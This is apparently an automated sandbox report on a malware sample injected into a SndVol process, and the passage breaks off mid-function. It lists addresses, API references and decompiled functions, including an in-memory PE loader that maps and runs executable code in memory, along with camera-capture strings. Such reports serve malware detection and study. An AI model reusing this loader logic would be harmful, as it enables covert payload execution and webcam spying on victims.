                                    0x0040448a
                                    0x004044f5
                                    0x004044fb
                                    0x00404500
                                    0x00404502
                                    0x00000000
                                    0x00404504
                                    0x00404525
                                    0x00404541
                                    0x00404543
                                    0x00404543
                                    0x0040448c
                                    0x0040448c
                                    0x0040448c
                                    0x0040448f
                                    0x00404495
                                    0x0040449b
                                    0x004044a0
                                    0x004044a2
                                    0x004044df
                                    0x004044e9
                                    0x004044ee
                                    0x004045de
                                    0x004045e1
                                    0x004044a4
                                    0x004044b6
                                    0x004044bd
                                    0x004044c4
                                    0x004044cd
                                    0x004044cf
                                    0x004044d4
                                    0x004044d4
                                    0x004044a2
                                    0x0040448f
                                    0x0040448a
                                    0x00404485
                                    0x0040447c
                                    0x004045e6
                                    0x004045ea
                                    0x004045f3
                                    0x004045fb
                                    0x00404600
                                    0x00404606
                                    0x004043bf
                                    0x004043bf
                                    0x004043c0
                                    0x004043c3
                                    0x004043c5
                                    0x004043cc
                                    0x004043d1
                                    0x004043d3
                                    0x004043dd
                                    0x004043ee
                                    0x00404400
                                    0x0040440b
                                    0x0040440b
                                    0x004043d3
                                    0x00404411
                                    0x00000000
                                    0x00404413
                                    0x00404385
                                    0x00404385
                                    0x00404397
                                    0x00404414
                                    0x00404416
                                    0x00404416

                                    APIs
                                      • Part of subcall function 004028A4: std::_Xinvalid_argument.LIBCPMT ref: 004028A9
                                    • Sleep.KERNEL32(00000000,0040D1B0), ref: 004044C4
                                      • Part of subcall function 00404607: __EH_prolog.LIBCMT ref: 0040460C
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: H_prologSleepXinvalid_argumentstd::_
                                    • String ID: CloseCamera$FreeFrame$GetFrame$HNG$OpenCamera
                                    • API String ID: 834325642-3054508432
                                    • Opcode ID: 3d8c5e96d05be9345c11b92915e847785a65a089b7a47653a563a651c411648e
                                    • Instruction ID: 22f5447d6c9630b32af200f4639754300114f09dbfb290dd0d8ef8b5f5cbbf5c
                                    • Opcode Fuzzy Hash: 3d8c5e96d05be9345c11b92915e847785a65a089b7a47653a563a651c411648e
                                    • Instruction Fuzzy Hash: 3D51E1B1A042106BCA14BB769D1AA6E3755ABC0748F00453FFA06677E2DF7C8A45839E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00411C4C Relevance: 9.2, APIs: 6, Instructions: 206memoryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 86%
                                    			E00411C4C(intOrPtr* __ecx, intOrPtr __edx, void* __eflags) {
				signed int _t52;
				signed int _t55;
				void* _t58;
				signed int _t66;
				signed int _t68;
				void* _t73;
				signed int _t74;
				void* _t75;
				signed int _t77;
				signed int _t78;
				signed int _t80;
				signed int _t81;
				signed int _t82;
				void* _t86;
				signed int _t87;
				intOrPtr* _t90;
				signed int _t104;
				void* _t106;
				signed int _t109;
				void* _t115;
				void* _t116;
				signed int _t117;
				signed int _t119;
				void* _t121;
				signed int _t123;
				signed int _t126;
				void* _t127;
				void* _t128;

				_t106 = 0x40;
				 *((intOrPtr*)(_t127 + 0x10)) = __edx;
				 *((intOrPtr*)(_t127 + 0xc)) = __ecx;
				_t119 = 0;
				if(E004116EA(__edx, _t106) != 0) {
					__eflags =  *__ecx - 0x5a4d;
					if( *__ecx == 0x5a4d) {
						_t52 = E004116EA(__edx,  *((intOrPtr*)(__ecx + 0x3c)) + 0xf8);
						__eflags = _t52;
						if(_t52 == 0) {
							goto L1;
						}
						_t90 =  *((intOrPtr*)(__ecx + 0x3c)) + __ecx;
						__eflags =  *_t90 - 0x4550;
						if( *_t90 != 0x4550) {
							goto L3;
						}
						__eflags =  *((intOrPtr*)(_t90 + 4)) - 0x14c;
						if( *((intOrPtr*)(_t90 + 4)) != 0x14c) {
							goto L3;
						}
						__eflags =  *(_t90 + 0x38) & 0x00000001;
						if(( *(_t90 + 0x38) & 0x00000001) != 0) {
							goto L3;
						}
						_t109 =  *(_t90 + 6) & 0x0000ffff;
						_t55 =  *(_t90 + 0x14) & 0x0000ffff;
						__eflags = _t109;
						if(_t109 == 0) {
							L14:
							__imp__GetNativeSystemInfo(_t127 + 0x18, _t115);
							_t116 = E004116D9( *((intOrPtr*)(_t90 + 0x50)),  *((intOrPtr*)(_t127 + 0x1c)));
							_t58 = E004116D9(_t119,  *((intOrPtr*)(_t127 + 0x1c)));
							__eflags = _t116 - _t58;
							if(_t116 == _t58) {
								_push(0);
								_t126 = E00411BF1( *((intOrPtr*)(_t90 + 0x34)), _t116, 0x3000, 0x40);
								_t128 = _t127 + 0x14;
								__eflags = _t126;
								if(_t126 != 0) {
									L20:
									_t117 = HeapAlloc(GetProcessHeap(), 8, 0x40);
									__eflags = _t117;
									if(_t117 != 0) {
										 *(_t117 + 4) = _t126;
										 *((intOrPtr*)(_t117 + 0x1c)) = E00411BF1;
										 *(_t117 + 0x14) = ( *(_t90 + 0x16) & 0x0000ffff) >> 0x0000000d & 0x00000001;
										 *((intOrPtr*)(_t117 + 0x20)) = E00411C08;
										 *((intOrPtr*)(_t117 + 0x24)) = E00411C1B;
										 *((intOrPtr*)(_t117 + 0x28)) = E00411C26;
										 *((intOrPtr*)(_t117 + 0x2c)) = E00411C35;
										 *((intOrPtr*)(_t117 + 0x34)) = 0;
										 *((intOrPtr*)(_t117 + 0x3c)) =  *((intOrPtr*)(_t128 + 0x1c));
										_t66 = E004116EA( *((intOrPtr*)(_t128 + 0x14)),  *((intOrPtr*)(_t90 + 0x54)));
										__eflags = _t66;
										if(_t66 == 0) {
											L34:
											E00411FC5(_t117);
											L35:
											_t68 = 0;
											__eflags = 0;
											L36:
											return _t68;
										}
										_push(0);
										_t121 = E00411BF1(_t126,  *((intOrPtr*)(_t90 + 0x54)), 0x1000, 4);
										E00436860(_t121,  *((intOrPtr*)(_t128 + 0x28)),  *((intOrPtr*)(_t90 + 0x54)));
										_t73 =  *((intOrPtr*)( *((intOrPtr*)(_t128 + 0x30)) + 0x3c)) + _t121;
										 *_t117 = _t73;
										 *(_t73 + 0x34) = _t126;
										_t74 = E004116FD( *((intOrPtr*)(_t128 + 0x34)), _t90, _t117);
										__eflags = _t74;
										if(_t74 == 0) {
											goto L34;
										}
										_t75 =  *_t117;
										_t114 =  *((intOrPtr*)(_t75 + 0x34)) ==  *((intOrPtr*)(_t90 + 0x34));
										__eflags =  *((intOrPtr*)(_t75 + 0x34)) ==  *((intOrPtr*)(_t90 + 0x34));
										if( *((intOrPtr*)(_t75 + 0x34)) ==  *((intOrPtr*)(_t90 + 0x34))) {
											_t123 = 1;
											__eflags = 1;
											 *((intOrPtr*)(_t117 + 0x18)) = 1;
										} else {
											 *((intOrPtr*)(_t117 + 0x18)) = E00411A01(_t114);
											_t123 = 1;
										}
										__eflags = E00411AAD(_t117);
										if(__eflags != 0) {
											_t77 = E0041189D(_t117, __eflags);
											__eflags = _t77;
											if(_t77 == 0) {
												goto L34;
											}
											_t78 = E004119D0(_t117);
											__eflags = _t78;
											if(_t78 == 0) {
												goto L34;
											}
											_t80 =  *( *_t117 + 0x28);
											__eflags = _t80;
											if(_t80 == 0) {
												_t48 = _t117 + 0x38;
												 *_t48 =  *(_t117 + 0x38) & 0x00000000;
												__eflags =  *_t48;
												L41:
												_t68 = _t117;
												goto L36;
											}
											_t81 = _t80 + _t126;
											__eflags =  *(_t117 + 0x14);
											if( *(_t117 + 0x14) == 0) {
												 *(_t117 + 0x38) = _t81;
												goto L41;
											}
											_t82 =  *_t81(_t126, _t123, 0);
											__eflags = _t82;
											if(_t82 != 0) {
												 *((intOrPtr*)(_t117 + 0x10)) = _t123;
												goto L41;
											}
											SetLastError(0x45a);
										}
										goto L34;
									}
									_push(0);
									E00411C08(_t126, 0, 0x8000);
									L19:
									SetLastError(0xe);
									L16:
									goto L35;
								}
								_push(0);
								_t126 = E00411BF1(0, _t116, 0x3000, 0x40);
								_t128 = _t128 + 0x14;
								__eflags = _t126;
								if(_t126 != 0) {
									goto L20;
								}
								goto L19;
							}
							SetLastError(0xc1);
							goto L16;
						}
						_t104 = _t90 + 0x24 + _t55;
						__eflags = _t104;
						do {
							__eflags =  *(_t104 + 4);
							_t86 =  *_t104;
							if( *(_t104 + 4) != 0) {
								_t87 = _t86 +  *(_t104 + 4);
								__eflags = _t87;
							} else {
								_t87 = _t86 +  *(_t90 + 0x38);
							}
							__eflags = _t87 - _t119;
							_t119 =  >  ? _t87 : _t119;
							_t104 = _t104 + 0x28;
							_t109 = _t109 - 1;
							__eflags = _t109;
						} while (_t109 != 0);
						goto L14;
					}
					L3:
					SetLastError(0xc1);
				}
				L1:
				return 0;
			}































                                    0x00411c58
                                    0x00411c5b
                                    0x00411c5f
                                    0x00411c63
                                    0x00411c6c
                                    0x00411c7a
                                    0x00411c7e
                                    0x00411c98
                                    0x00411c9d
                                    0x00411c9f
                                    0x00000000
                                    0x00000000
                                    0x00411ca4
                                    0x00411ca6
                                    0x00411cac
                                    0x00000000
                                    0x00000000
                                    0x00411cb3
                                    0x00411cb7
                                    0x00000000
                                    0x00000000
                                    0x00411cb9
                                    0x00411cbd
                                    0x00000000
                                    0x00000000
                                    0x00411cbf
                                    0x00411cc3
                                    0x00411cc7
                                    0x00411cc9
                                    0x00411ced
                                    0x00411cf3
                                    0x00411d07
                                    0x00411d09
                                    0x00411d0e
                                    0x00411d10
                                    0x00411d24
                                    0x00411d35
                                    0x00411d37
                                    0x00411d3a
                                    0x00411d3c
                                    0x00411d5a
                                    0x00411d6b
                                    0x00411d6d
                                    0x00411d6f
                                    0x00411d87
                                    0x00411d94
                                    0x00411d9b
                                    0x00411d9e
                                    0x00411da5
                                    0x00411dac
                                    0x00411db3
                                    0x00411dba
                                    0x00411dc1
                                    0x00411dc7
                                    0x00411dcc
                                    0x00411dce
                                    0x00411e7e
                                    0x00411e80
                                    0x00411e85
                                    0x00411e85
                                    0x00411e85
                                    0x00411e87
                                    0x00000000
                                    0x00411e87
                                    0x00411dd4
                                    0x00411de8
                                    0x00411def
                                    0x00411e04
                                    0x00411e06
                                    0x00411e09
                                    0x00411e0c
                                    0x00411e14
                                    0x00411e16
                                    0x00000000
                                    0x00000000
                                    0x00411e18
                                    0x00411e1d
                                    0x00411e1d
                                    0x00411e20
                                    0x00411e33
                                    0x00411e33
                                    0x00411e34
                                    0x00411e22
                                    0x00411e2b
                                    0x00411e2e
                                    0x00411e2e
                                    0x00411e3e
                                    0x00411e40
                                    0x00411e44
                                    0x00411e49
                                    0x00411e4b
                                    0x00000000
                                    0x00000000
                                    0x00411e4f
                                    0x00411e54
                                    0x00411e56
                                    0x00000000
                                    0x00000000
                                    0x00411e5a
                                    0x00411e5d
                                    0x00411e5f
                                    0x00411e99
                                    0x00411e99
                                    0x00411e99
                                    0x00411e9d
                                    0x00411e9d
                                    0x00000000
                                    0x00411e9d
                                    0x00411e61
                                    0x00411e63
                                    0x00411e67
                                    0x00411e94
                                    0x00000000
                                    0x00411e94
                                    0x00411e6d
                                    0x00411e6f
                                    0x00411e71
                                    0x00411e8f
                                    0x00000000
                                    0x00411e8f
                                    0x00411e78
                                    0x00411e78
                                    0x00000000
                                    0x00411e40
                                    0x00411d71
                                    0x00411d79
                                    0x00411d56
                                    0x00411d17
                                    0x00411d17
                                    0x00000000
                                    0x00411d17
                                    0x00411d3e
                                    0x00411d4d
                                    0x00411d4f
                                    0x00411d52
                                    0x00411d54
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00411d54
                                    0x00411d17
                                    0x00000000
                                    0x00411d17
                                    0x00411cce
                                    0x00411cce
                                    0x00411cd0
                                    0x00411cd0
                                    0x00411cd4
                                    0x00411cd6
                                    0x00411cdd
                                    0x00411cdd
                                    0x00411cd8
                                    0x00411cd8
                                    0x00411cd8
                                    0x00411ce0
                                    0x00411ce2
                                    0x00411ce5
                                    0x00411ce8
                                    0x00411ce8
                                    0x00411ce8
                                    0x00000000
                                    0x00411cd0
                                    0x00411c80
                                    0x00411c85
                                    0x00411c85
                                    0x00411c6e
                                    0x00000000

                                    APIs
                                      • Part of subcall function 004116EA: SetLastError.KERNEL32(0000000D,00411C6A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411C48), ref: 004116F0
                                    • SetLastError.KERNEL32(000000C1,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411C48), ref: 00411C85
                                    • GetNativeSystemInfo.KERNEL32(?,0040D1F0,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411C48), ref: 00411CF3
                                    • SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,?), ref: 00411D17
                                      • Part of subcall function 00411BF1: VirtualAlloc.KERNEL32(00000040,00000040,00000040,00000040,00411D35,?,00000000,00003000,00000040,00000000,?,?), ref: 00411C01
                                    • GetProcessHeap.KERNEL32(00000008,00000040,?,?,?,?,?), ref: 00411D5E
                                    • HeapAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 00411D65
                                    • SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411E78
                                      • Part of subcall function 00411FC5: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411E85,?,?,?,?,?), ref: 00412035
                                      • Part of subcall function 00411FC5: HeapFree.KERNEL32(00000000,?,?,?,?,?), ref: 0041203C
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
                                    • String ID:
                                    • API String ID: 3950776272-0
                                    • Opcode ID: 352792d677fe46075a3a1ca200b8cece1e035ec95cc10e02e88eaf20de7f96e6
                                    • Instruction ID: f2b39a6bb720125d079e89bb5f9df4ba309e1905fc0ffab11a5b733a56e1831f
                                    • Opcode Fuzzy Hash: 352792d677fe46075a3a1ca200b8cece1e035ec95cc10e02e88eaf20de7f96e6
                                    • Instruction Fuzzy Hash: 9061CF70641311ABD7109F66C981BAB7BA4BF44740F04412AFF058B2A2EB7CE8D1CBD9
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00445849 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 80%
                                    			E00445849(void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char* _v44;
				char _v48;
				void* __ecx;
				signed int _t67;
				signed int _t70;
				signed int _t71;
				signed int _t75;
				intOrPtr _t76;
				signed int _t79;
				signed int _t86;
				intOrPtr _t88;
				signed int _t99;
				void* _t101;
				void* _t103;
				void* _t108;
				signed int _t112;
				signed int _t113;
				signed int _t116;
				signed int _t123;
				signed int _t125;
				intOrPtr _t126;
				signed int _t128;
				intOrPtr _t130;
				signed int _t131;
				void* _t135;
				void* _t136;
				void* _t138;

				_t120 = __edx;
				_t97 = __ebx;
				_push(_t101);
				if(_a8 != 0) {
					_push(__esi);
					_push(__edi);
					_t123 = 0;
					_t67 = E00440E3D( &_v8, 0, 0, _a8, 0x7fffffff);
					_t136 = _t135 + 0x14;
					__eflags = _t67;
					if(_t67 == 0) {
						L5:
						_t128 = E00445A43(_t101, _v8, 2);
						_pop(_t103);
						__eflags = _t128;
						if(_t128 == 0) {
							L11:
							E00446652(_t128);
							_t70 = _t123;
							goto L12;
						} else {
							_t71 = E00440E3D(_t123, _t128, _v8, _a8, 0xffffffff);
							_t136 = _t136 + 0x14;
							__eflags = _t71;
							if(_t71 == 0) {
								_t123 = E00444BCB(_t97, _t103, _t120, _a4, _t128);
								goto L11;
							} else {
								__eflags = _t71 - 0x16;
								if(_t71 == 0x16) {
									goto L13;
								} else {
									__eflags = _t71 - 0x22;
									if(_t71 != 0x22) {
										goto L11;
									} else {
										goto L13;
									}
								}
							}
						}
					} else {
						__eflags = _t67 - 0x16;
						if(_t67 == 0x16) {
							L13:
							_push(_t123);
							_push(_t123);
							_push(_t123);
							_push(_t123);
							E0043BC69();
							asm("int3");
							E00434D80(0x46ea30, 0x1c);
							_t130 = _a4;
							_t75 = E00445849(_t97, _t120, _t123, _t130, _t130, _a8);
							_t108 = _t123;
							_t125 = _t75;
							__eflags = _t125;
							if(_t125 != 0) {
								_t76 = E004480E5(_t97, _t108, _t120);
								_v40 = _t76;
								_v48 =  *((intOrPtr*)(_t76 + 0x4c));
								_t110 =  *((intOrPtr*)(_t76 + 0x48));
								_v44 =  *((intOrPtr*)(_t76 + 0x48));
								_v32 = 0;
								_t79 = E0044156B( *((intOrPtr*)(_t76 + 0x48)),  &_v32, 0, 0, _t125, 0,  &_v48);
								_t138 = _t136 + 0x18;
								__eflags = _t79;
								if(_t79 == 0) {
									L22:
									_t99 = E00446087(_t110, _v32 + 4);
									__eflags = _t99;
									if(_t99 == 0) {
										goto L15;
									} else {
										_t20 = _t99 + 4; // 0x4
										_v36 = _t20;
										_t110 =  &_v48;
										_t125 = 0;
										_t86 = E0044156B( &_v48, 0, _t20, _v32, 0, 0xffffffff,  &_v48);
										_t138 = _t138 + 0x18;
										__eflags = _t86;
										if(_t86 == 0) {
											L29:
											_t126 = _v48;
											E004457D8(4);
											_pop(_t112);
											_v8 = _v8 & 0x00000000;
											_t131 = _t130 + _t130;
											_t113 = _t112 | 0xffffffff;
											__eflags =  *(_t126 + 0x24 + _t131 * 8);
											if(__eflags != 0) {
												asm("lock xadd [edx], eax");
												if(__eflags == 0) {
													E00446652( *(_t126 + 0x24 + _t131 * 8));
													_pop(_t116);
													 *(_t126 + 0x24 + _t131 * 8) =  *(_t126 + 0x24 + _t131 * 8) & 0x00000000;
													_t113 = _t116 | 0xffffffff;
													__eflags = _t113;
												}
											}
											_t88 = _v40;
											__eflags =  *(_t88 + 0x350) & 0x00000002;
											if(( *(_t88 + 0x350) & 0x00000002) == 0) {
												__eflags =  *0x4719a4 & 0x00000001;
												if(( *0x4719a4 & 0x00000001) == 0) {
													__eflags =  *(_t126 + 0x24 + _t131 * 8);
													if( *(_t126 + 0x24 + _t131 * 8) != 0) {
														asm("lock xadd [eax], ecx");
														__eflags = _t113 == 1;
														if(_t113 == 1) {
															E00446652( *(_t126 + 0x24 + _t131 * 8));
															_t51 = _t126 + 0x24 + _t131 * 8;
															 *_t51 =  *(_t126 + 0x24 + _t131 * 8) & 0x00000000;
															__eflags =  *_t51;
														}
													}
												}
											}
											 *_t99 =  *((intOrPtr*)(_t126 + 0xc));
											 *(_t126 + 0x24 + _t131 * 8) = _t99;
											 *((intOrPtr*)(_t126 + 0x1c + _t131 * 8)) = _v36;
											_v8 = 0xfffffffe;
											E00445A3A();
										} else {
											__eflags = _t86 - 0x16;
											if(_t86 == 0x16) {
												L26:
												_push(_t125);
												_push(_t125);
												_push(_t125);
												_push(_t125);
												_push(_t125);
												goto L20;
											} else {
												__eflags = _t86 - 0x22;
												if(_t86 != 0x22) {
													__eflags = _t86;
													if(_t86 == 0) {
														goto L29;
													} else {
														E00446652(_t99);
														goto L15;
													}
												} else {
													goto L26;
												}
											}
										}
									}
								} else {
									__eflags = _t79 - 0x16;
									if(_t79 == 0x16) {
										L19:
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										L20:
										_t79 = E0043BC69();
									} else {
										__eflags = _t79 - 0x22;
										if(_t79 == 0x22) {
											goto L19;
										}
									}
									__eflags = _t79;
									if(_t79 != 0) {
										goto L15;
									} else {
										goto L22;
									}
								}
							} else {
								L15:
							}
							return E00434DC6();
						} else {
							__eflags = _t67 - 0x22;
							if(_t67 == 0x22) {
								goto L13;
							} else {
								goto L5;
							}
						}
					}
				} else {
					_t70 = E00444BCB(__ebx, _t101, __edx, _a4, 0);
					L12:
					return _t70;
				}
			}


































                                    0x00445849
                                    0x00445849
                                    0x0044584e
                                    0x00445853
                                    0x00445863
                                    0x00445864
                                    0x0044586d
                                    0x00445875
                                    0x0044587a
                                    0x0044587d
                                    0x0044587f
                                    0x0044588b
                                    0x00445895
                                    0x00445898
                                    0x00445899
                                    0x0044589b
                                    0x004458cc
                                    0x004458cd
                                    0x004458d3
                                    0x00000000
                                    0x0044589d
                                    0x004458a7
                                    0x004458ac
                                    0x004458af
                                    0x004458b1
                                    0x004458ca
                                    0x00000000
                                    0x004458b3
                                    0x004458b3
                                    0x004458b6
                                    0x00000000
                                    0x004458b8
                                    0x004458b8
                                    0x004458bb
                                    0x00000000
                                    0x004458bd
                                    0x00000000
                                    0x004458bd
                                    0x004458bb
                                    0x004458b6
                                    0x004458b1
                                    0x00445881
                                    0x00445881
                                    0x00445884
                                    0x004458db
                                    0x004458db
                                    0x004458dc
                                    0x004458dd
                                    0x004458de
                                    0x004458e0
                                    0x004458e5
                                    0x004458ed
                                    0x004458f5
                                    0x004458f9
                                    0x004458ff
                                    0x00445900
                                    0x00445902
                                    0x00445904
                                    0x0044590d
                                    0x00445912
                                    0x00445918
                                    0x0044591b
                                    0x0044591e
                                    0x00445923
                                    0x00445932
                                    0x00445937
                                    0x0044593a
                                    0x0044593c
                                    0x00445956
                                    0x00445963
                                    0x00445965
                                    0x00445967
                                    0x00000000
                                    0x00445969
                                    0x00445969
                                    0x0044596c
                                    0x0044596f
                                    0x0044597a
                                    0x0044597d
                                    0x00445982
                                    0x00445985
                                    0x00445987
                                    0x004459aa
                                    0x004459aa
                                    0x004459af
                                    0x004459b4
                                    0x004459b5
                                    0x004459b9
                                    0x004459bf
                                    0x004459c2
                                    0x004459c4
                                    0x004459c8
                                    0x004459cc
                                    0x004459d2
                                    0x004459d7
                                    0x004459d8
                                    0x004459dd
                                    0x004459dd
                                    0x004459dd
                                    0x004459cc
                                    0x004459e0
                                    0x004459e3
                                    0x004459ea
                                    0x004459ec
                                    0x004459f3
                                    0x004459f9
                                    0x004459fb
                                    0x004459fd
                                    0x00445a01
                                    0x00445a02
                                    0x00445a08
                                    0x00445a0e
                                    0x00445a0e
                                    0x00445a0e
                                    0x00445a0e
                                    0x00445a02
                                    0x004459fb
                                    0x004459f3
                                    0x00445a16
                                    0x00445a18
                                    0x00445a1f
                                    0x00445a23
                                    0x00445a2a
                                    0x00445989
                                    0x00445989
                                    0x0044598c
                                    0x00445993
                                    0x00445993
                                    0x00445994
                                    0x00445995
                                    0x00445996
                                    0x00445997
                                    0x00000000
                                    0x0044598e
                                    0x0044598e
                                    0x00445991
                                    0x0044599a
                                    0x0044599c
                                    0x00000000
                                    0x0044599e
                                    0x0044599f
                                    0x00000000
                                    0x004459a4
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00445991
                                    0x0044598c
                                    0x00445987
                                    0x0044593e
                                    0x0044593e
                                    0x00445941
                                    0x00445948
                                    0x00445948
                                    0x00445949
                                    0x0044594a
                                    0x0044594b
                                    0x0044594c
                                    0x0044594d
                                    0x0044594d
                                    0x00445943
                                    0x00445943
                                    0x00445946
                                    0x00000000
                                    0x00000000
                                    0x00445946
                                    0x00445952
                                    0x00445954
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00445954
                                    0x00445906
                                    0x00445906
                                    0x00445906
                                    0x00445a36
                                    0x00445886
                                    0x00445886
                                    0x00445889
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00445889
                                    0x00445884
                                    0x00445855
                                    0x0044585a
                                    0x004458d7
                                    0x004458da
                                    0x004458da

                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: __cftoe
                                    • String ID:
                                    • API String ID: 4189289331-0
                                    • Opcode ID: 1364b3009bd66bcb199bcbf34342cc4a5849e9b8baf57e56a16afdc955920caa
                                    • Instruction ID: 83962159e0ddf9e260be1e4f86c5a6bb8ec59dd1af8ecba1b81afc438fd72561
                                    • Opcode Fuzzy Hash: 1364b3009bd66bcb199bcbf34342cc4a5849e9b8baf57e56a16afdc955920caa
                                    • Instruction Fuzzy Hash: 2251EB72500605ABFF249B599C41BAF77A8AB49334F24421FF415A6293DF39D910866C
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00447441 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 389COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 71%
                                    			E00447441(void* __ebx, signed int __ecx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, signed int** _a16, signed int* _a20, intOrPtr _a24) {
				signed int _v8;
				short _v10;
				short _v12;
				short _v14;
				short _v16;
				short _v18;
				short _v22;
				char _v24;
				signed int _v28;
				signed int* _v32;
				signed int _v33;
				signed int** _v40;
				intOrPtr _v44;
				intOrPtr* _v48;
				intOrPtr _v52;
				void* _v64;
				signed int _t86;
				intOrPtr _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				signed int _t104;
				intOrPtr _t105;
				signed int _t110;
				void* _t111;
				signed int _t116;
				signed int _t117;
				signed int _t129;
				void* _t133;
				signed int _t135;
				intOrPtr _t143;
				signed short* _t144;
				intOrPtr _t145;
				signed int** _t146;
				signed int _t147;
				signed int* _t148;
				signed int _t149;
				signed int _t152;
				signed short** _t154;
				signed int _t155;
				signed int _t159;
				signed int _t163;
				intOrPtr* _t171;
				signed short _t172;
				signed short* _t173;
				signed int** _t174;
				void* _t175;
				void* _t177;
				signed short* _t179;
				intOrPtr* _t180;
				intOrPtr* _t181;
				signed int* _t183;
				signed int _t184;
				signed int** _t185;
				signed int _t186;
				signed int _t187;
				signed int _t188;

				_t149 = __ecx;
				_t86 =  *0x47100c; // 0xbb2d687
				_v8 = _t86 ^ _t187;
				_t171 = _a12;
				_v52 = _a4;
				_t143 = _a24;
				_v40 = _a16;
				_v48 = _t171;
				_v44 = _t143;
				_t183 = _a20;
				_v32 = _t183;
				_t91 = _a8;
				if(_t91 == 0) {
					_t179 =  *(_t143 + 0x154);
				} else {
					if(_t91 == 1) {
						_t179 =  *(_t143 + 0x158);
					} else {
						_t179 =  *(_t143 + 0x15c);
					}
				}
				if( *((intOrPtr*)(_t143 + 0xac)) == 1) {
					goto L113;
				} else {
					_t163 = _t149 & 0xffffff00 | _a8 == 0x00000002;
					_v24 = 0x76c +  *((intOrPtr*)(_t171 + 0x14));
					_v33 = _t163;
					_v22 =  *((intOrPtr*)(_t171 + 0x10)) + 1;
					_v18 =  *((intOrPtr*)(_t171 + 0xc));
					_v16 =  *((intOrPtr*)(_t171 + 8));
					_v14 =  *((intOrPtr*)(_t171 + 4));
					_v12 =  *_t171;
					_v10 = 0;
					_t194 = _t163;
					if(_t163 == 0) {
						__eflags = 0;
						_t129 = E0044873B(0, _t183, 0,  *((intOrPtr*)(_t143 + 0x160)), 0,  &_v24, _t179, 0, 0, 0);
					} else {
						_t129 = E0044887D(0, _t183, _t194,  *((intOrPtr*)(_t143 + 0x160)), 0,  &_v24, _t179, 0, 0);
					}
					_t147 = _t129;
					if(_t147 == 0) {
						goto L113;
					} else {
						_t175 = _t147 + _t147;
						_t165 = _t175 + 8;
						asm("sbb eax, eax");
						if((_t175 + 0x00000008 & _t129) == 0) {
							_t184 = 0;
							__eflags = 0;
							L18:
							_v28 = _t184;
							if(_t184 == 0) {
								L30:
								E00435D93(0);
								_t183 = _v32;
								while(1) {
									L113:
									_t172 =  *_t179 & 0x0000ffff;
									__eflags = _t172;
									if(_t172 == 0) {
										break;
									}
									__eflags =  *_t183;
									if( *_t183 == 0) {
										L28:
										L29:
										return E00434F3B(_v8 ^ _t187);
									}
									_v32 = 0;
									_t152 = 0;
									__eflags = 0;
									_v28 = _t179;
									_t144 = _t179;
									_t94 = _t172 & 0x0000ffff;
									do {
										_t144 =  &(_t144[1]);
										_t152 = _t152 + 1;
										__eflags =  *_t144 - _t94;
									} while ( *_t144 == _t94);
									_t95 = _t172 & 0x0000ffff;
									_v28 = _t144;
									_t145 = _v44;
									__eflags = _t95 - 0x64;
									if(__eflags > 0) {
										_t96 = _t95 - 0x68;
										__eflags = _t96;
										if(_t96 == 0) {
											_t153 = _t152 - 1;
											__eflags = _t153;
											if(_t153 == 0) {
												_v32 = 1;
												L110:
												_push(0x49);
												L111:
												_pop(_t97);
												_push(_v32);
												_push(_t145);
												_push(_t183);
												_push(_v40);
												_push(_v48);
												_push(_v52);
												_t98 = E0044680B(_t145, _t153, _t179);
												_t188 = _t188 + 0x1c;
												__eflags = _t98;
												if(_t98 == 0) {
													 *((intOrPtr*)(E0044052D())) = 0x16;
													goto L29;
												}
												L112:
												_t179 = _v28;
												continue;
											}
											_t153 = _t153 - 1;
											__eflags = _t153;
											if(_t153 == 0) {
												goto L110;
											}
											L108:
											_t154 = _v40;
											_t179 =  &(_t179[1]);
											 *( *_t154) = _t172;
											 *_t154 =  &(( *_t154)[1]);
											 *_t183 =  *_t183 - 1;
											continue;
										}
										_t102 = _t96 - 5;
										__eflags = _t102;
										if(_t102 == 0) {
											_t153 = _t152 - 1;
											__eflags = _t153;
											if(_t153 == 0) {
												_v32 = 1;
												L105:
												_push(0x4d);
												goto L111;
											}
											_t153 = _t153 - 1;
											__eflags = _t153;
